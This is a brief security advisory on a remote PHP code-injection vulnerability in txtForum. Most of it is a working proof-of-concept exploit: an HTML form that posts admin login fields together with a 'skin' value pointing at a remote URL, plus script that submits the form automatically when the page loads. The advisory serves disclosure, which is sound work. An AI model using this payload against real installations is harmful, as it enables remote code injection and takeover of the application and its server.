source: https://www.securityfocus.com/bid/17061/info txtForum is prone to a remote PHP code-injection vulnerability. An attacker can exploit this issue to facilitate a compromise of the application and the underlying system; other attacks are also possible. <form action='http://www.example.com/txtforum104/login.php' method="post"> <input type="text" name="login_username" value="admin"/> <input type="text" name="login_password" value="xyz"/> <input type="text" name="skin" value="http://www.example.com"/> <input type="submit"> </form> <script type="text/javascript"> document.forms[0].submit(); </script>